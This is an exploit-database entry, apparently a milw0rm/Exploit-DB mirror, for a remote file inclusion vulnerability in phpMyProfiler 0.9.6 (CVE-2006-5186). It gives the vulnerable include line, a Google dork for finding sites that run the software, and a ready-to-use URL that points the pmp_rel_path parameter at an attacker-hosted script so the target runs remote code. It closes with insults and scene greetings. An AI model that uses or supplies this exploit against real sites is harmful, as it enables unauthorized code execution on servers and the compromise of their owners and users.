Exploit phpMyProfiler 0.9.6 - Remote File Inclusion

[Exploiter]

EDB-ID

2470

Проверка EDB

1. Пройдено

Автор

MOZI

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2006-5186

Дата публикации

2006-10-03

# Author: [email protected] mozi
# phpMyProfiler Remote File Inclusion Vulnerability
# Greetz: Raver #phpfreaks eu.undernet.org
------------------------------------------------------------------
Download: http://sourceforge.net/projects/phpmyprofiler
------------------------------------------------------------------
require_once($pmp_rel_path . '/include/PEAR/HTTP.php');
_________________________________________________________________
googledork:phpMyProfiler

http://site.com/[path]/functions.php?pmp_rel_path=http://[Evil_scr
ipt]
PS:Whitehat aia de pe undernet sug pula!!!  Lameri boratzi
#phpfreaks rulz
# heh tnx

# milw0rm.com [2006-10-03]